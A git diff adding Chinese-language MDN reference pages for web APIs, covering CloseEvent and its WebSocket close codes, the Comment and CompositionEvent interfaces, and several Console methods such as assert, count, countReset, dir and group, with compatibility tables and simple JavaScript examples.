
+ + + +

{{Compat("api.ClipboardItem")}}

+ +
+

Note: Image format support varies by browser. See the browser compatibility table for the {{domxref("Clipboard")}} interface.

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/closeevent/index.html b/files/zh-cn/web/api/closeevent/index.html new file mode 100644 index 0000000000..1c9341ce1e --- /dev/null +++ b/files/zh-cn/web/api/closeevent/index.html @@ -0,0 +1,238 @@ +--- +title: CloseEvent +slug: Web/API/CloseEvent +tags: + - API + - Interface + - Reference + - Web + - WebSocket + - WebSockets +translation_of: Web/API/CloseEvent +--- +

{{APIRef("Websockets API")}}

+ +

CloseEvent 会在连接关闭时发送给使用 {{Glossary("WebSockets")}} 的客户端. 它在 WebSocket 对象的 onclose 事件监听器中使用.

+ +

构造器

+ +
+
{{domxref("CloseEvent.CloseEvent", "CloseEvent()")}}
+
创建一个 CloseEvent.
+
+ +

属性

+ +

该接口也继承了其父类 {{domxref("Event")}} 的属性.

+ +
+
{{domxref("CloseEvent.code")}} {{readOnlyInline}}
+
返回一个 unsigned short 类型的数字, 表示服务端发送的关闭码, 以下为已分配的状态码. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
状态码?名称?描述
0999保留段, 未使用.
1000CLOSE_NORMAL正常关闭; 无论为何目的而创建, 该链接都已成功完成任务.
1001CLOSE_GOING_AWAY终端离开, 可能因为服务端错误, 也可能因为浏览器正从打开连接的页面跳转离开.
1002CLOSE_PROTOCOL_ERROR由于协议错误而中断连接.
1003CLOSE_UNSUPPORTED由于接收到不允许的数据类型而断开连接 (如仅接收文本数据的终端接收到了二进制数据).
1004保留. 其意义可能会在未来定义.
1005CLOSE_NO_STATUS保留.  表示没有收到预期的状态码.
1006CLOSE_ABNORMAL保留. 用于期望收到状态码时连接非正常关闭 (也就是说, 没有发送关闭帧).
1007Unsupported Data由于收到了格式不符的数据而断开连接 (如文本消息中包含了非 UTF-8 数据).
1008Policy Violation由于收到不符合约定的数据而断开连接. 这是一个通用状态码, 用于不适合使用 1003 和 1009 状态码的场景.
1009CLOSE_TOO_LARGE由于收到过大的数据帧而断开连接.
1010Missing Extension客户端期望服务器商定一个或多个拓展, 但服务器没有处理, 因此客户端断开连接.
1011Internal Error客户端由于遇到没有预料的情况阻止其完成请求, 因此服务端断开连接.
1012Service Restart服务器由于重启而断开连接. [Ref]
1013Try Again Later服务器由于临时原因断开连接, 如服务器过载因此断开一部分客户端连接. [Ref]
1014由 WebSocket 标准保留以便未来使用.
1015TLS Handshake保留. 表示连接由于无法完成 TLS 握手而关闭 (例如无法验证服务器证书).
10161999由 WebSocket 标准保留以便未来使用.
20002999由 WebSocket 拓展保留使用.
30003999?可以由库或框架使用.? 不应由应用使用. 可以在 IANA 注册, 先到先得.
40004999可以由应用使用.
+
+
{{domxref("CloseEvent.reason")}} {{readOnlyInline}}
+
返回一个 {{domxref("DOMString")}} 用以表示服务器关闭连接的原因. 这是由服务器和子协议决定的.
+
{{domxref("CloseEvent.wasClean")}} {{readOnlyInline}}
+
返回一个 {{jsxref("Boolean")}} 用以表示连接是否完全关闭.
+
+ +

Methods

+ +

该接口也继承了其父类 {{domxref("Event")}} 的属性.

+ +
+
{{domxref("CloseEvent.initCloseEvent()")}} {{Non-standard_inline}} {{Obsolete_inline}}
+
初始化创建的 CloseEvent 的值. 如果该事件已经被处理, 这个方法什么也不做. 不要直接使用这个方法, 使用 {{domxref("CloseEvent.CloseEvent", "CloseEvent()")}} ?构造器来代替.
+
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("8.0")}}[1]
+ {{CompatGeckoDesktop("12.0")}}[2]
10{{CompatUnknown}}{{CompatUnknown}}
initCloseEvent() {{Non-standard_inline}}{{CompatNo}}{{CompatGeckoDesktop("8.0")}}
+ {{CompatNo}} 41.0
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("8.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
initCloseEvent() {{Non-standard_inline}}{{CompatNo}}{{CompatGeckoMobile("8.0")}}
+ {{CompatNo}} 41.0
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Gecko 8.0 {{geckoRelease("8.0")}} 以前, Gecko ?简单地发送 {{event("close")}} ?事件给 WebSocket ?监听器. ?对 CloseEvent ?的支持是在 Gecko 8.0 实现的.

+ +

[2] Gecko 12.0 {{geckoRelease("12.0")}} 以前, Gecko 当通道由于未知错误关闭, 或是错误原因不在标准之内时会上报 CLOSE_NORMAL 状态码. ?现在则使用 CLOSE_GOING_AWAY 代替.

+ +

参考

+ + diff --git a/files/zh-cn/web/api/comment/comment/index.html b/files/zh-cn/web/api/comment/comment/index.html new file mode 100644 index 0000000000..4d6738ddc0 --- /dev/null +++ b/files/zh-cn/web/api/comment/comment/index.html @@ -0,0 +1,56 @@ +--- +title: Comment() +slug: Web/API/Comment/Comment +tags: + - API + - Comment + - Constructor + - DOM +translation_of: Web/API/Comment/Comment +--- +

{{ApiRef("DOM")}}{{seeCompatTable}}

+ +

构造函数 Comment() 创建一个 {{domxref("Comment")}} 对象并返回,这个对象以可选的 {{domxref("DOMString")}} 参数作为它的文本内容。

+ +

语法

+ +
comment1 = new Comment(); // Create an empty comment
+comment2 = new Comment("This is a comment");
+
+ +

示例

+ +
var comment = new Comment("Test");
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-comment-comment', 'Comment: Comment')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Comment.Comment")}}

+ +
+

提示:对于不支持本构造函数的浏览器, {{domxref("Document.createComment()")}} 或许可以使用。

+
+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/comment/index.html b/files/zh-cn/web/api/comment/index.html new file mode 100644 index 0000000000..bf95530d67 --- /dev/null +++ b/files/zh-cn/web/api/comment/index.html @@ -0,0 +1,72 @@ +--- +title: Comment +slug: Web/API/Comment +tags: + - API + - DOM + - 参考 + - 注释 +translation_of: Web/API/Comment +--- +
{{ ApiRef("DOM") }}
+ +

Comment 接口代表标签(markup)之间的文本符号(textual notations)。尽管它通常不会显示出来,但是在查看源码时可以看到它们。在 HTML 和 XML 里,注释(Comments)为 '<!--' 和 '-->' 之间的内容。在 XML 里,注释中不能出现字符序列 '--'。

+ +

属性

+ +

该接口没有特定的属性,但是从其父类 {{domxref("CharacterData")}} 继承属性,以及间接从 {{domxref("Node")}} 继承部分属性。

+ +

构造函数

+ +
+
{{ domxref("Comment.Comment()", "Comment()") }} {{experimental_inline}}
+
使用文本内容作为参数,返回一个 Comment 对象。
+
+ +

方法

+ +

该接口没有特定的方法,但从其父类 {{domxref("CharacterData")}} 继承方法,以及间接从 {{domxref("Node")}} 继承部分方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#comment', 'Comment')}}{{Spec2('DOM WHATWG')}}Added the constructor.
{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM1')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Comment")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/compositionevent/index.html b/files/zh-cn/web/api/compositionevent/index.html new file mode 100644 index 0000000000..55c5f995ae --- /dev/null +++ b/files/zh-cn/web/api/compositionevent/index.html @@ -0,0 +1,81 @@ +--- +title: CompositionEvent +slug: Web/API/CompositionEvent +tags: + - API + - CompositionEvent + - DOM + - 事件 + - 参考 +translation_of: Web/API/CompositionEvent +--- +
{{APIRef("DOM Events")}}
+ +

DOM 接口 CompositionEvent 表示用户间接输入文本(如使用输入法)时发生的事件。此接口的常用事件有{{domxref("Element/compositionstart_event", "compositionstart")}}, {{domxref("Element/compositionupdate_event", "compositionupdate")}} 和 {{domxref("Element/compositionend_event", "compositionend")}}

+ +

{{InheritanceDiagram}}

+ +

构造函数

+ +
+
{{domxref("CompositionEvent.CompositionEvent()", "CompositionEvent()")}}
+
创建一个新的 CompositionEvent 对象实例。
+
+ +

属性

+ +

这个接口也从{{domxref("UIEvent")}} 和 {{domxref("Event")}} 继承属性。

+ +
+
{{domxref("CompositionEvent.data")}} {{readonlyinline}}
+
返回触发事件的输入方法所产生的字符;取决于生成 CompositionEvent 对象的事件类型,结果会有所不同。
+
{{domxref("CompositionEvent.locale")}} {{readonlyinline}} {{deprecated_inline}}
+
返回当前输入方法的场景(例如,使用输入法编辑器进行输入合成时,场景就是键盘布局)。
+
+ +

方法

+ +

这个接口也从 {{domxref("UIEvent")}} 和 {{domxref("Event")}} 继承方法。

+ +
+
{{domxref("CompositionEvent.initCompositionEvent()")}} {{deprecated_inline}}
+
初始化 CompositionEvent 对象的所有属性。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('UI Events', '#interface-compositionevent', 'CompositionEvent')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events', '#idl-compositionevent', 'CompositionEvent')}}{{Spec2('DOM3 Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CompositionEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/console/assert/index.html b/files/zh-cn/web/api/console/assert/index.html new file mode 100644 index 0000000000..4ce50bbef2 --- /dev/null +++ b/files/zh-cn/web/api/console/assert/index.html @@ -0,0 +1,102 @@ +--- +title: Console.assert() +slug: Web/API/Console/assert +tags: + - console +translation_of: Web/API/console/assert +--- +
{{APIRef("Console API")}}
+ +

如果断言为false,则将一个错误消息写入控制台。如果断言是 true,没有任何反应。

+ +

{{AvailableInWorkers}}

+ +
+

console.assert()方法在Node.js中的实现和浏览器中可用的console.assert()方法实现是不同的。在浏览器中当console.assert()方法接受到一个值为假断言的时候,会向控制台输出传入的内容,但是并不会中断代码的执行,而在Node.js v10.0.0之前,一个值为假的断言也将会导致一个AssertionError被抛出,使得代码执行被打断。v10.0.0修复了此差异,所以现在console.assert()在Node 和浏览器中执行行为相同 。

+
+ +

语法

+ +
console.assert(assertion, obj1 [, obj2, ..., objN]);
+console.assert(assertion, msg [, subst1, ..., substN]); // c-like message formatting
+ +

参数

+ +
+
assertion
+
一个布尔表达式。如果assertion为假,消息将会被输出到控制台之中。
+
obj1 ... objN
+
被用来输出的Javascript对象列表,最后输出的字符串是各个对象依次拼接的结果。
+
msg
+
一个包含零个或多个子串的Javascript字符串。
+
subst1 ... substN
+
各个消息作为字串的Javascript对象。这个参数可以让你能够控制输出的格式。
+
+ +

案例

+ +

下面的代码示例演示了JavaScript对象的使用:

+ +
const errorMsg = 'the # is not even';
+for (let number = 2; number <= 5; number += 1) {
+    console.log('the # is ' + number);
+    console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+    // 或者使用 ES2015 对象简写:
+    // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// 输出:
+// the # is 2
+// the # is 3
+// Assertion failed: {number: 3, errorMsg: "the # is not even"}
+// the # is 4
+// the # is 5
+// Assertion failed: {number: 5, errorMsg: "the # is not even"}
+ +

请注意, 你可以在大多数浏览器中使用 console.log 进行格式化输出

+ +
console.log('the word is %s try number %d', 'foo', 123);
+// 输出: the word is foo try number 123
+ +

但是 console.assert 在不同浏览器中可能获得不同的效果:

+ +
console.assert(false, 'the word is %s', 'foo');
+// correct output in Node (e.g. v8.10.0) and some browsers
+//     (e.g. Firefox v60.0.2):
+// Assertion failed: the word is foo
+// incorrect output in some browsers
+//     (e.g. Chrome v67.0.3396.87):
+// Assertion failed: the word is %s foo
+ +

有关详细信息,请参阅 {{Domxref("console")}} 文档中的 输出文本到控制台

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#consoleassertexpression-object", "console.assert()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Console.assert")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/console/clear/index.html b/files/zh-cn/web/api/console/clear/index.html new file mode 100644 index 0000000000..4de2fcb2ea --- /dev/null +++ b/files/zh-cn/web/api/console/clear/index.html @@ -0,0 +1,110 @@ +--- +title: clear() +slug: Web/API/Console/clear +translation_of: Web/API/Console/clear +--- +
{{APIRef("Console API")}}{{Non-standard_header}}
+ +

清空控制台.

+ +

控制台显示的内容将会被一些信息替换,比如‘Console was cleared’这样的信息。

+ +

需要的注意的一点是在Google Chrome浏览器中,如果用户在设置中勾选了“Preserve log”选项,console.clear()将不会起作用。 

+ +

语法

+ +
console.clear();
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#consoleclear", "console.clear()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("48.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("48.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/console/count/index.html b/files/zh-cn/web/api/console/count/index.html new file mode 100644 index 0000000000..9b28cc12df --- /dev/null +++ b/files/zh-cn/web/api/console/count/index.html @@ -0,0 +1,169 @@ +--- +title: Console.count() +slug: Web/API/Console/count +translation_of: Web/API/Console/count +--- +
{{APIRef("Console API")}}{{Non-standard_header}}
+ +

输出 count() 被调用的次数。此函数接受一个可选参数 label。

+ +

{{AvailableInWorkers}}

+ +

如果有 label,此函数输出为那个指定的 label 和 count() 被调用的次数。

+ +

如果 label 被忽略,此函数输出 count() 在其所处位置上被调用的次数。

+ +

例如,下面的代码:

+ +
var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+ +

Console 的输出如下:

+ +
"<no label>: 1"
+"<no label>: 2"
+"<no label>: 3"
+"<no label>: 1"
+
+ +

注意最后一行的日志输出:在 11 行对 count() 的单独调用是被当作一个独立事件来处理的。

+ +

如果把变量 user 当作 label 参数传给前面调用的 count(),把字符串 "alice" 传给后面调用的 count():

+ +
var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");
+ +

可以看到输出如下:

+ +
"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"
+ +

现在可以基于不同的 label 值维护不同的数值。由于 11 行的 label 匹配了两次 user 的值,因此它不会被当作独立的事件。

+ +

语法

+ +
console.count([label]);
+
+ +

参数

+ +
+
label
+
+ +

    字符串,如果有,count() 输出此给定的 label 及其被调用的次数。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#consolecountlabel", "console.count()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Available in workers{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/console/countreset/index.html b/files/zh-cn/web/api/console/countreset/index.html new file mode 100644 index 0000000000..237fbef762 --- /dev/null +++ b/files/zh-cn/web/api/console/countreset/index.html @@ -0,0 +1,132 @@ +--- +title: Console.countReset() +slug: Web/API/Console/countReset +translation_of: Web/API/Console/countReset +--- +
{{APIRef("Console API")}}
+ +

重置计数器。此函数有一个可选参数 label

+ +

{{AvailableInWorkers}}

+ +

如果提供了参数label,此函数会重置与label关联的计数。

+ +

如果省略了参数label,此函数会重置默认的计数器。

+ +

语法

+ +
console.countReset([label]);
+
+ +

参数

+ +
+
label
+
一个字符串, 若传入此参数 countReset() 重置此label的count为0。
+
若忽略此参数  countReset() 重置count()默认的 default 字段的count为0
+  
+
+ +

返回值

+ +

若传入label参数:

+ +
 counter-name: 0
+ +

若不传入label参数:

+ +
default: 0
+ +

异常情况

+ +

若传入一个不存在的 labelcountReset 返回下面的警告信息:

+ +
Counter "counter-name" doesn’t exist.
+ +

若 label 没有被传入 并且 count() 也没有被调用过, countReset 返回下面的警告信息:

+ +
Counter "default" doesn’t exist.
+ +

示例

+ +

下面给出示例代码:

+ +
var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();
+ +

控制台打印输出结果:

+ +
"default: 1"
+"default: 2"
+"default: 3"
+"default: 1"
+"default: 0"
+
+ +

Note that the call to console.counterReset() resets the value of the default counter to zero.

+ +

可以看到 调用 console.counterReset() 重置了default 的计数为0

+ +

如果我们把 user 变量做为 label 传入第一次调用的 count()  把字符串 'alice' 作为第二次调用count() 的参数

+ +
var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");
+ +

我们看到的输出如下:

+ +
"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"
+ +

调用countReset("bod")只是重置了 "bob" 的计数器值  而 "alice" 的计数器值没有改变。

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#count", "console.countReset()")}}{{Spec2("Console API")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Console.countReset")}}

diff --git a/files/zh-cn/web/api/console/debug/index.html b/files/zh-cn/web/api/console/debug/index.html new file mode 100644 index 0000000000..5e99b5ac81 --- /dev/null +++ b/files/zh-cn/web/api/console/debug/index.html @@ -0,0 +1,67 @@ +--- +title: Console.debug() +slug: Web/API/Console/debug +tags: + - 控制台 + - 调试 +translation_of: Web/API/Console/debug +--- +
{{APIRef("Console API")}}
+ +

{{domxref("Console")}}.debug() 输出“调试”级别的消息且仅仅控制台配置为显示调试输出时才显示该消息。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
console.debug(对象1 [, 对象2, ..., 对象N]);
+console.debug(消息[, 字符串1, ..., 字符串N]);
+
+ +

参数

+ +
+
对象1 ... 对象N
+
要输出的JavaScript 对象列表。 按传参的顺序把对象输出到控制台。
+
消息
+
一个JavaScript字符串,其中包含零个或多个替代字符串。
+
字符串1 ... 字符串N
+
JavaScript 对象,用来依次替换msg中的替代字符串。你可以在替代字符串中指定对象的输出格式。查看{{SectionOnPage("/zh-CN/docs/Web/API/Console", "使用字符串替换")}}了解替换字符串如何工作。
+
+ +

有关详细信息,请参阅{{domxref("console")}} 对象文档中的将文本输出到控制台

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#debug", "console.debug()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Console.debug")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/console/dir/index.html b/files/zh-cn/web/api/console/dir/index.html new file mode 100644 index 0000000000..8a8ecdf53f --- /dev/null +++ b/files/zh-cn/web/api/console/dir/index.html @@ -0,0 +1,106 @@ +--- +title: console.dir +slug: Web/API/Console/dir +translation_of: Web/API/Console/dir +--- +
{{APIRef("Console API")}}{{Non-standard_header}}
+ +

在控制台中显示指定JavaScript对象的属性,并通过类似文件树样式的交互列表显示。

+ +

{{AvailableInWorkers}}

+ +

console-dir.png

+ +

语法

+ +
console.dir(object);
+
+ +

参数

+ +
+
object
+
打印出该对象的所有属性和属性值.
+
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("8.0")}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("8.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + + +

 

diff --git a/files/zh-cn/web/api/console/dirxml/index.html b/files/zh-cn/web/api/console/dirxml/index.html new file mode 100644 index 0000000000..50ad5d6029 --- /dev/null +++ b/files/zh-cn/web/api/console/dirxml/index.html @@ -0,0 +1,98 @@ +--- +title: Console.dirxml() +slug: Web/API/Console/dirxml +translation_of: Web/API/Console/dirxml +--- +
{{APIRef("Console API")}}{{Non-standard_header}}
+ +

显示一个明确的XML/HTML元素的包括所有后代元素的交互树。 如果无法作为一个element被显示,那么会以JavaScript对象的形式作为替代。 它的输出是一个继承的扩展的节点列表,可以让你看到子节点的内容。

+ +

语法

+ +
console.dirxml(object);
+
+ +

参数

+ +
+
object
+
一个属性将被输出的JavaScript对象。
+
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/console/error/index.html b/files/zh-cn/web/api/console/error/index.html new file mode 100644 index 0000000000..288f34fb4d --- /dev/null +++ b/files/zh-cn/web/api/console/error/index.html @@ -0,0 +1,170 @@ +--- +title: Console.error() +slug: Web/API/Console/error +translation_of: Web/API/Console/error +--- +
{{APIRef("Console API")}}
+ +

向 Web 控制台输出一条错误消息。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
console.error(obj1 [, obj2, ..., objN]);
+console.error(msg [, subst1, ..., substN]);
+console.exception(obj1 [, obj2, ..., objN]);
+console.exception(msg [, subst1, ..., substN]);
+
+ +
+

注意: console.exception()console.error() 的别名;它们功能相同。

+
+ +

参数

+ +
+
obj1 ... objN
+
要输出的 JavaScript 对象列表。 这些对象的字符串形式按顺序加起来然后输出。
+
msg
+
一个字符串,它包含零个或多个替代字符串。
+
subst1 ... substN
+
JavaScript 对象可以用此来替换msg里的替代字符串。你可以控制输出的格式。
+
+ +

详情请看{{domxref("console")}}文档中的 输出文本到控制台

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#error", "console.error()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}8{{CompatVersionUnknown}}{{CompatVersionUnknown}}
替代字符串{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
console.exception alias{{CompatNo}}{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
替代字符串{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
console.exception alias{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("28.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/console/group/index.html b/files/zh-cn/web/api/console/group/index.html new file mode 100644 index 0000000000..6d1c1b44a2 --- /dev/null +++ b/files/zh-cn/web/api/console/group/index.html @@ -0,0 +1,68 @@ +--- +title: console.group +slug: Web/API/Console/group +translation_of: Web/API/Console/group +--- +

{{ ApiRef() }}

+

概述

+

Web控制台上创建一个新的分组.随后输出到控制台上的内容都会被添加一个缩进,表示该内容属于当前分组,直到调用{{ domxref("console.groupEnd()") }}之后,当前分组结束.

+

语法

+
console.group();
+
+

参数

+

无.

+

备注

+

在文档{{ domxref("console") }}中查看在控制台中使用分组,了解更多详细内容.

+

规范

+

不属于任何公开的规范

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support2{{ CompatGeckoDesktop("2.0") }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}4.0
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("2.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

相关链接

+ +

{{ languages( {"en": "en/DOM/console.group" } ) }}

diff --git a/files/zh-cn/web/api/console/groupcollapsed/index.html b/files/zh-cn/web/api/console/groupcollapsed/index.html new file mode 100644 index 0000000000..ee1a798f2a --- /dev/null +++ b/files/zh-cn/web/api/console/groupcollapsed/index.html @@ -0,0 +1,70 @@ +--- +title: console.groupCollapsed +slug: Web/API/Console/groupCollapsed +translation_of: Web/API/Console/groupCollapsed +--- +

{{ ApiRef() }}

+

概述

+

Web控制台上创建一个新的分组.随后输出到控制台上的内容都会被添加一个缩进,表示该内容属于当前分组,直到调用console.groupEnd() 之后,当前分组结束.和 {{ domxref("console.group()") }}方法的不同点是,新建的分组默认是折叠的.用户必须点击一个按钮才能将折叠的内容打开.

+

语法

+
console.groupCollapsed();
+
+

参数

+

+

备注

+

在文档{{ domxref("console") }}中查看在控制台中使用分组,了解更多详细内容.

+

规范

+

不属于任何公开的规范

+

浏览器

+

{{ CompatibilityTable() }}

+
